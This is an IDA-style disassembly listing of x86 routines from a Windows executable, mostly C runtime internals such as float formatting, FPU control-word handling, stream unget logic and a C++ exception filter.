		push	esi
		push	9
		push	dword_4DB344
		call	near ptr 2820000h
		nop
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F64:				; CODE XREF: sub_423EC3+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2820000h
		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC78
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43CC90
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DB470
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DB498, eax
		add	esp, 18h
		movsx	eax, byte_4DB472
		mov	dword_4DB490, eax
		pop	edi
		movsx	eax, word_4DB470
		mov	dword_4DB494, eax
		mov	dword_4DB49C, offset dword_4DB474
		mov	eax, offset dword_4DB490
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043C8B8o
					; ___:0043D118o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DB4A0
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DB4A0
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1CC73AE8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
